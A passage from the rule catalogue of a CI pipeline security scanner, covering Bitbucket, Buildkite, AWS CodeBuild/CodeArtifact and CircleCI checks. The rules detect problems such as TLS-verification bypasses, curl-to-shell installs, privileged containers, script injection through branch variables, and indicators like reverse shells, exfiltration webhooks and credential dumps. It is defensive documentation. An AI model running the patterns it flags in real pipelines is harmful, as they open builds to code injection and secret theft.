How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-023 in the Bitbucket provider.

BB-024: No SLSA provenance attestation produced MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Bitbucket has no native SLSA builder; self-hosted attestation via cosign attest or witness run is the usual path. Pipes like atlassian/cosign-attest (if published) would also match.

Recommendation. Add a step that runs cosign attest against a provenance.intoto.jsonl statement, or integrate the TestifySec witness run attestor. Artifact signing alone (BB-006) doesn't satisfy SLSA Build L3.

Source: BB-024 in the Bitbucket provider.

BB-025: Pipeline contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Specific indicators only (reverse shells, base64-decoded execution, miner binaries, Discord/Telegram webhooks, credential-dump pipes, audit-erasure commands). Does not replace BB-014 (TLS bypass) or BB-013 (Docker insecure), those are hygiene; this is evidence.

Recommendation. Treat as a potential compromise. Identify the PR that added the matching step(s), rotate any credentials referenced from the pipeline's variable groups, and audit recent builds.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: BB-025 in the Bitbucket provider.

BB-026: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Complements BB-002 (script injection from untrusted PR context). This rule fires on intrinsically risky idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: BB-026 in the Bitbucket provider.

BB-027: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Complements BB-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: BB-027 in the Bitbucket provider.

BK-001: Buildkite plugin not pinned to an exact version HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Buildkite resolves plugin refs at agent boot. foo#v1.2.3 locks the version; foo#main / foo does not. Detection fires on bare names, branch keywords, and partial-semver pins (v4, v4.13).

Recommendation. Pin every plugin reference to an exact tag (docker-compose#v4.13.0) or a 40-char commit SHA. Bare references (docker-compose), branch refs (#main / #master), and major-only floats (#v4) resolve to whatever is current at agent start time, which lets a compromised plugin release execute inside the pipeline.

Source: BK-001 in the Buildkite provider.

BK-002: Literal secret value in pipeline env block CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Detection fires on values that look like AWS access keys, GitHub PATs, OpenAI keys, JWTs, or generic high-entropy tokens, plus on env-var names that imply a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) when the value is a non-empty literal rather than an interpolation ($SECRET_FROM_AGENT_HOOK).

Recommendation. Move the value out of the pipeline file. Use Buildkite's agent secrets hooks (secrets/ directory or BUILDKITE_PLUGIN_AWS_SSM_*), the aws-ssm / vault-secrets plugins, or the BUILDKITE_PIPELINE_DEFAULT_BRANCH env var pulled from a secret manager. The pipeline.yml is committed to the repo and visible to anyone with read access.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-002 in the Buildkite provider.

BK-003: Untrusted Buildkite variable interpolated in command HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Buildkite passes branch / tag / message metadata as environment variables. Putting them inside $(...) or shelling out with the value unquoted is a classic command-injection vector. The detection fires on the unquoted interpolation form and on use inside eval / $(...).

Recommendation. Don't interpolate $BUILDKITE_BRANCH, $BUILDKITE_TAG, $BUILDKITE_MESSAGE, $BUILDKITE_PULL_REQUEST_*, or $BUILDKITE_BUILD_AUTHOR* directly into shell commands. These come from the pull request / branch and are attacker-controllable. Quote them and assign to a local variable first (branch="$BUILDKITE_BRANCH"; ./script --branch "$branch"), or pass them as arguments to a script you own.

Source: BK-003 in the Buildkite provider.

BK-004: Remote script piped into shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection), Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. The detection fires on curl|bash, curl|sh, wget|bash, iex (iwr ...), and the corresponding Invoke-WebRequest|Invoke-Expression PowerShell forms. Use curl -fsSLO <url>; sha256sum -c install.sh.sha256; bash install.sh instead.

Recommendation. Download the installer to disk, verify a checksum or signature, then execute it. curl ... | sh lets the remote host change what runs in your pipeline at any time, and any TLS / DNS error during download silently feeds a partial script to the shell.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-004 in the Buildkite provider.

BK-005: Container started with --privileged or host-bind escalation HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detection fires on --privileged, --cap-add=SYS_ADMIN, --pid=host / --ipc=host / --userns=host, and explicit mounts of the host Docker socket (/var/run/docker.sock).

Recommendation. Drop --privileged, --cap-add=SYS_ADMIN, --pid=host, and -v /var/run/docker.sock from container invocations. If the workload needs Docker-in-Docker, use a build-specific rootless option (buildx, kaniko, buildah --isolation=chroot) instead of opening the host kernel and the agent's Docker socket to the build script.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-005 in the Buildkite provider.

BK-007: Deploy step not gated by a manual block / input MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. A step is treated as a deploy when its label, key, or any command line contains a deploy keyword (deploy, ship, release, promote, apply, rollout, terraform apply, kubectl apply, helm upgrade, aws ecs update-service). The check passes when at least one preceding step in the same pipeline file is a block: or input: flow-control step.

Recommendation. Insert a - block: "Deploy?" (or - input: step) in front of every deploy step. Buildkite waits for a human to click Unblock before the gated steps run, which prevents an unreviewed merge from auto-deploying to production. Combine with branches: main so the gate only appears on release branches.

Known false positives.

  • Pipelines where the deploy gate lives in a triggered pipeline rather than the local file, the local pipeline looks ungated even though the actual deploy is gated downstream. Add a no-op block: to silence.

Source: BK-007 in the Buildkite provider.

BK-008: TLS verification disabled in step command MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection fires on the canonical bypass flags across curl, wget, git, npm, pip, gcloud, and openssl. The check is deliberately conservative, partial-word matches (--insecure-protocols) are excluded.

Recommendation. Drop curl -k / --insecure, wget --no-check-certificate, git -c http.sslVerify=false, and pip install --trusted-host. If a CA isn't trusted, install it into the agent's trust store (update-ca-certificates) rather than disabling validation pipeline-wide. A compromised intermediate that strips TLS gets a free hand with every fetch the step performs.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-008 in the Buildkite provider.

BK-009: Artifacts not signed (no cosign/sigstore step) MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Unsigned artifacts can't be verified downstream, a tampered build is indistinguishable from a legitimate one. The check recognises cosign, sigstore, slsa-github-generator, slsa-framework, and notation-sign as signing tools, matching the shared signing-token catalog used by the other CI packs.

Recommendation. Add a signing step, install cosign once (brew install cosign in the agent image, or a cosign-install plugin) and call cosign sign --yes <ref> after the build. For container images pushed to ECR / GCR / GHCR, the same call signs by digest. Publish the signature alongside the artifact and verify it at consumption time.

Source: BK-009 in the Buildkite provider.

BK-010: No SBOM generated for build artifacts MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. An SBOM (CycloneDX or SPDX) records every component baked into the build. Without one, post-incident triage can't answer did this CVE ship? for a given artifact. Detection uses the shared SBOM-token catalog, syft, cyclonedx, cdxgen, spdx-tools, microsoft/sbom-tool.

Recommendation. Add an SBOM-generation step. syft <artifact> -o cyclonedx-json > sbom.json runs in any standard agent image; cyclonedx-cli and cdxgen are alternative producers. Upload the SBOM via buildkite-agent artifact upload so downstream consumers (and incident-response tooling) can match deployed artifacts to the components they were built from.

Source: BK-010 in the Buildkite provider.

BK-011: No SLSA provenance attestation produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials, Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where / how it was built. Without it, a leaked signing key forges identity but a leaked build environment also forges provenance. You need both for the SLSA L3 non-falsifiability guarantee. Detection uses the shared provenance-token catalog (slsa-framework, cosign attest, in-toto, attest-build-provenance).

Recommendation. Run cosign attest --predicate slsa.json (or the SLSA-framework generator from a build-time step) after the build completes. The predicate records the build inputs and the agent that produced the artifact. Publish the attestation alongside the artifact so consumers can verify how it was built, not just who signed it.

Source: BK-011 in the Buildkite provider.

BK-012: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Vulnerability scanning sits at a different layer from signing and SBOM. It answers does this artifact ship a known CVE? rather than can we verify what it is?. Detection uses the shared vuln-scan-token catalog: trivy, grype, snyk, npm-audit, pip-audit, anchore, dependency-check, checkov, semgrep.

Recommendation. Add a vulnerability scanner, trivy fs . for source / filesystem, trivy image <ref> for container images, grype and snyk for either. Add npm audit / pip-audit for language-specific dep audits. Fail the step on findings above a chosen severity so a regression blocks the merge instead of shipping.

Source: BK-012 in the Buildkite provider.

BK-014: Step commands run unpinned package installs MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection reuses the cross-provider primitives PKG_INSECURE_RE and PKG_NO_LOCKFILE_RE from checks/base.py. Same rule pack already exists for GHA (GHA-021 / GHA-022), GitLab (GL-021 / GL-022), Bitbucket / Azure DevOps / Jenkins / CircleCI / Cloud Build / Drone. Buildkite was a gap; this closes it.

Insecure variants (PKG_INSECURE_RE): pip --index-url http://, pip --trusted-host, npm --registry http://, gem --source http://, nuget --Source http://, cargo --index http://. Lockfile-bypass variants (PKG_NO_LOCKFILE_RE): npm install (should be npm ci), bare pip install <pkg> without -r or --require-hashes, yarn install without --frozen-lockfile, bundle install without --frozen, cargo install, go install without an @vN.N pin, poetry install without --no-update.

Recommendation. Pin every package install to a lockfile or a checksum-verified version. npm ci (not npm install), yarn install --frozen-lockfile, pip install -r requirements.txt --require-hashes, bundle install --frozen. Don't use --trusted-host / --no-verify / a non-HTTPS index URL — those bypass TLS or trust validation entirely (BK-008 covers the TLS subset; this rule covers the lockfile subset).

Known false positives.

  • Bootstrap-stage installs that intentionally pull latest (apt-get install -y curl for a tooling image rebuild) sometimes legitimately bypass the lockfile. Suppress via ignore-file scoped to the specific step label when this is the deliberate shape; the broader pinning policy still covers the rest of the pipeline.

Source: BK-014 in the Buildkite provider.

BK-015: agents map interpolates attacker-controllable Buildkite variable HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Buildkite uses an agents: map to route a step to a specific runner pool. Both the top-level agents: and the per-step override are scanned. Detection mirrors BK-003's tainted-variable list ($BUILDKITE_BRANCH, $BUILDKITE_TAG, $BUILDKITE_MESSAGE, $BUILDKITE_PULL_REQUEST_*, $BUILDKITE_BUILD_AUTHOR*, $BUILDKITE_COMMIT). The pattern matches what GHA-036, GL-032, JF-032, ADO-030, and CC-031 already enforce on the other CI providers; closes parity for Buildkite.

Quote-state aware in the same way BK-003 is. "$BUILDKITE_BRANCH" doesn't fire (Buildkite doesn't shell-eval the agents map anyway, but the value still substitutes), only the unquoted single-token interpolation does.

Recommendation. Pin every agents: map entry to a static literal that matches your runner targeting policy. queue: linux-amd64 or os: linux is fine; queue: $BUILDKITE_BRANCH is not, because the pusher can route their build to whichever agent pool they want, including a privileged pool reserved for the deploy step. Production runner pools should also carry a tag the agent itself enforces (e.g. buildkite-agent start --tags 'queue=production' plus a queue-allow-list on the API token), so the rule is one layer of a defense-in-depth posture.

Known false positives.

  • Some teams use a static prefix plus a CI-controlled tail (queue: build-$BUILDKITE_PIPELINE_SLUG) to share an agent pool across pipelines. BUILDKITE_PIPELINE_SLUG is not pusher-controllable so it isn't on the tainted list, but if your team has its own conventions for trusted Buildkite vars, suppress on the specific step.

Source: BK-015 in the Buildkite provider.

CA-001: CodeArtifact domain not encrypted with customer KMS CMK MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. AWS-owned encryption (the default alias/aws/codeartifact key) keeps the key policy under AWS's control, not yours. That's fine for confidentiality but means cross-account auditability of every Decrypt event lives with AWS, and you can't revoke or scope key access without recreating the domain. A customer-managed CMK puts both controls back in your hands.

Recommendation. Recreate the CodeArtifact domain with an encryption-key argument pointing at a customer-managed CMK. Domain encryption is set at creation and cannot be changed after.

Source: CA-001 in the AWS provider.

CA-002: CodeArtifact repository has a public external connection HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. An external connection to public:npmjs / public:pypi / public:nuget / public:maven-central fetches packages from the public registry on first resolution. A typo-squat (request vs requests) or a compromised upstream lands in the cache the first time anyone names it; every subsequent build pulls the cached substitute. The pull-through cache with an allow-list is the same risk shape solved by an explicit allowlist.

Recommendation. Route public package consumption through a pull-through cache repository governed by an allow-list of package names, and point build-time repos at that cache rather than directly at public:npmjs/public:pypi. Unscoped public upstreams expose builds to dependency-confusion and typosquatting attacks.

Source: CA-002 in the AWS provider.

CA-004: CodeArtifact repo policy grants codeartifact: with Resource '' HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. codeartifact:* on Resource: '*' collapses the entire repository's authority into one grant: the holder can read, write, delete, dispose, and re-publish every package. Even for a service principal that nominally only consumes packages, the grant lets a compromise of that consumer rewrite every dependency the team relies on.

Recommendation. Scope Allow statements to specific codeartifact: actions (e.g. codeartifact:ReadFromRepository) and to specific package-group ARNs. Wildcard action + wildcard resource is the classic over-broad grant that lets a consumer also publish.

Source: CA-004 in the AWS provider.

CB-001: Secrets in plaintext environment variables CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Flags a plaintext env var when either (a) its name matches a secret-like pattern (PASSWORD, TOKEN, API_KEY, ...) or (b) its value matches a known credential shape (AKIA/ASIA access keys, GitHub tokens, Slack xox* tokens, JWTs). Plaintext values are visible in the AWS console, CloudTrail, and build logs to anyone with read access.

Recommendation. Move secrets to AWS Secrets Manager or SSM Parameter Store and reference them using type SECRETS_MANAGER or PARAMETER_STORE in the CodeBuild environment variable configuration.

Source: CB-001 in the AWS provider.

CB-005: Outdated managed build image MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Only AWS-managed aws/codebuild/standard:N.0 images are version-checked. Custom or third-party images pass here, CB-009 handles the separate concern of tag vs digest pinning for custom images.

Recommendation. Update the CodeBuild environment image to aws/codebuild/standard:7.0 or later to ensure the build environment receives the latest security patches.

Known false positives.

  • One version behind the current aws/codebuild/standard is a hygiene warning, not a production issue, and defaults to MEDIUM confidence. The rule emits HIGH only when the project is two or more versions behind. Custom or third-party images are not version-checked here; CB-009 handles tag-vs-digest pinning for those.

Source: CB-005 in the AWS provider.

CB-006: CodeBuild source auth uses long-lived token HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. OAUTH / PERSONAL_ACCESS_TOKEN / BASIC_AUTH source credentials are stored long-lived on the account and used by every CodeBuild project that points at the SCM provider. Rotating the upstream PAT requires manual re-credentialing here too. CodeConnections (CodeStar) is the AWS-managed alternative with token refresh and revocation.

Recommendation. Switch to an AWS CodeConnections (CodeStar) connection and reference it from the source configuration. Delete any stored source credentials of type OAUTH, PERSONAL_ACCESS_TOKEN, or BASIC_AUTH via delete_source_credentials.

Source: CB-006 in the AWS provider.

CB-008: CodeBuild buildspec is inline (not sourced from a protected repo) HIGH

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. An inline buildspec (source.buildspec set to YAML text, or a S3 URL) bypasses the protections that cover your source code. A user with codebuild:UpdateProject can rewrite the build commands without touching the repository, no PR review, no branch protection, no audit of what changed. Store buildspec.yml in the repo instead.

Recommendation. Remove the inline buildspec and store buildspec.yml in the source repository under branch protection. Anyone with codebuild:UpdateProject can silently rewrite an inline buildspec; repository-sourced buildspecs inherit the repo's review and protection controls.

Source: CB-008 in the AWS provider.

CB-009: CodeBuild image not pinned by digest MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. CodeBuild pulls the environment image on every build. A tag pointer can be moved by whoever controls the registry; a digest cannot. AWS-managed aws/codebuild/... images are exempt. Those are covered by CB-005 and are not part of the tag-mutation threat model.

Recommendation. Pin custom CodeBuild images by @sha256:<digest>. Tag-based references (:latest, :1.2.3) can be silently overwritten to point at a malicious layer that is pulled on the next build.

Source: CB-009 in the AWS provider.

CB-010: CodeBuild webhook allows fork-PR builds without actor filtering HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. GitHub/Bitbucket webhook filter groups that fire on pull-request events will build forks by default. Because CodeBuild runs with the project's own IAM role (not the PR author's), a fork PR can execute arbitrary code with CI privileges and exfiltrate secrets. Restrict to known contributors with an ACTOR_ACCOUNT_ID pattern group.

Recommendation. Add an ACTOR_ACCOUNT_ID filter pattern to every webhook filter group that accepts PULL_REQUEST_CREATED / PULL_REQUEST_UPDATED / PULL_REQUEST_REOPENED, or remove those PR event types. Without actor filtering, any fork can trigger a build that runs with the project's service role.

Source: CB-010 in the AWS provider.

CB-011: CodeBuild buildspec contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Scans the source.buildspec text on every CodeBuild project for concrete attack indicators: reverse shells, base64-decoded execution, miner binaries/pools, Discord/Telegram webhooks, credential-dump pipes, audit-erasure commands. CB-011 is CRITICAL by design, a true positive is evidence of compromise, not a hygiene improvement. Repo-sourced buildspecs (not inlined) return NOT APPLICABLE because the text isn't visible to the scanner; CB-008 already flags the inline form as a governance gap.

Recommendation. Treat as a potential compromise. Identify which principal or pipeline ran the CodeBuild project recently, rotate its service role's credentials, audit CloudTrail for outbound activity to the matched hosts, and, if an inline buildspec is in use (CB-008), enforce repo-sourced buildspecs under branch protection so the next malicious edit requires a PR.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: CB-011 in the AWS provider.

CC-001: Orb not pinned to exact semver HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Orb references in the orbs: block must include an @x.y.z suffix to lock a specific version. References without @, with @volatile, or with only a major (@1) or major.minor (@5.1) version float and can silently pull in malicious updates.

Recommendation. Pin every orb to an exact semver version (circleci/node@5.1.0). Floating references like @volatile, @1, or bare names without @ resolve to whatever is latest at build time, allowing a compromised orb update to execute in the pipeline.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-001 in the CircleCI provider.

CC-002: Script injection via untrusted environment variable HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. CircleCI exposes environment variables like $CIRCLE_BRANCH, $CIRCLE_TAG, and $CIRCLE_PR_NUMBER that are controlled by the event source (branch name, tag, PR). Interpolating them unquoted into run: commands allows shell injection via specially crafted branch or tag names.

Recommendation. Do not interpolate attacker-controllable environment variables (CIRCLE_BRANCH, CIRCLE_TAG, CIRCLE_PR_NUMBER, etc.) directly into shell commands. Pass them through an intermediate variable and quote them, or use CircleCI pipeline parameters instead.

Source: CC-002 in the CircleCI provider.

CC-003: Docker image not pinned by digest HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Docker images referenced in docker: blocks under jobs or executors must include an @sha256:... digest suffix. Tag-only references (:latest, :18) are mutable and can be replaced at any time by whoever controls the upstream registry.

Recommendation. Pin every Docker image to its sha256 digest: cimg/node:18@sha256:abc123.... Tags like :latest or :18 are mutable, a registry compromise or upstream push silently replaces the image content.

Source: CC-003 in the CircleCI provider.

CC-005: AWS auth uses long-lived access keys in environment block MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Long-lived AWS access keys declared directly in a job's environment: block are visible to anyone who can read the config. They cannot be rotated automatically and remain valid until manually revoked. OIDC-based federation yields short-lived credentials per build.

Recommendation. Remove AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from the job environment: block. Use CircleCI's OIDC token with aws-cli/setup orb's role-based auth, or store credentials in a context with security group restrictions.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-005 in the CircleCI provider.

CC-006: Artifacts not signed (no cosign/sigstore step) MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Unsigned artifacts cannot be verified downstream, so a tampered build is indistinguishable from a legitimate one. The check recognises cosign, sigstore, slsa-framework, and notation-sign as signing tools.

Recommendation. Add a signing step to the pipeline, e.g. install cosign and run cosign sign, or use the sigstore CLI. Publish the signature alongside the artifact and verify it at consumption time.

Source: CC-006 in the CircleCI provider.

CC-007: SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Without an SBOM, downstream consumers cannot audit the exact set of dependencies shipped in the artifact, delaying vulnerability response when a transitive dep is disclosed. The check recognises CycloneDX, syft, Anchore SBOM action, spdx-sbom-generator, Microsoft sbom-tool, and Trivy in SBOM mode.

Recommendation. Add an SBOM generation step, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or Microsoft's sbom-tool. Attach the SBOM to the build artifacts so consumers can ingest it into their vulnerability management pipeline.

Source: CC-007 in the CircleCI provider.

CC-008: Credential-shaped literal in config body CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Every string in the config is scanned against a set of credential patterns (AWS access keys, GitHub tokens, Slack tokens, JWTs, Stripe, Google, Anthropic, etc.). A match means a secret was pasted into YAML, the value is visible in every fork and every build log and must be treated as compromised.

Recommendation. Rotate the exposed credential immediately. Move the value to a CircleCI project environment variable or a context and reference it via the variable name. For cloud access, prefer OIDC federation over long-lived keys.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: CC-008 in the CircleCI provider.

CC-009: Deploy job missing manual approval gate MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. In CircleCI, manual approval is implemented by adding a job with type: approval to the workflow and making the deploy job require it. Without this gate, any push to the triggering branch deploys immediately with no human review.

Recommendation. Add a type: approval job that precedes the deploy job in the workflow, and list it in the deploy job's requires:. This ensures a human must click Approve in the CircleCI UI before production changes roll out.

Source: CC-009 in the CircleCI provider.

CC-012: Dynamic config via setup: true enables code injection MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. When setup: true is set at the top level, the config becomes a setup workflow. It generates the real pipeline config dynamically (typically via the circleci/continuation orb). An attacker who controls the setup job (e.g. via a malicious PR in a fork) can inject arbitrary config for all subsequent jobs, including deploy steps with production secrets.

Recommendation. If setup: true is required, restrict the setup job to a trusted branch filter and audit the generated config carefully. Ensure the continuation orb's configuration_path points to a checked-in file, not a dynamically generated one that could be influenced by PR content.

Source: CC-012 in the CircleCI provider.

CC-013: Deploy job in workflow has no branch filter MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Without branch filters, a deploy job triggers on every branch push, including feature branches and forks. Restricting sensitive jobs to specific branches limits the blast radius of a compromised commit.

Recommendation. Add filters.branches.only to deploy-like workflow jobs so they only run on protected branches (e.g. main, release/*).

Source: CC-013 in the CircleCI provider.

CC-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a CircleCI config. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: CC-016 in the CircleCI provider.

CC-018: Package install from insecure source HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a CircleCI config. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-018 in the CircleCI provider.

CC-019: add_ssh_keys without fingerprint restriction HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A bare - add_ssh_keys step (without fingerprints:) loads every SSH key configured on the project into the job. This violates least privilege, the job gains access to keys it does not need, increasing the blast radius if the job is compromised.

Recommendation. Always specify fingerprints: when using add_ssh_keys to restrict which SSH keys are loaded into the job. A bare add_ssh_keys step loads ALL project SSH keys.

Source: CC-019 in the CircleCI provider.

CC-020: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: CC-020 in the CircleCI provider.

CC-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-021 in the CircleCI provider.

CC-022: Dependency update command bypasses lockfile pins MEDIUM 🔧 fix

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate).

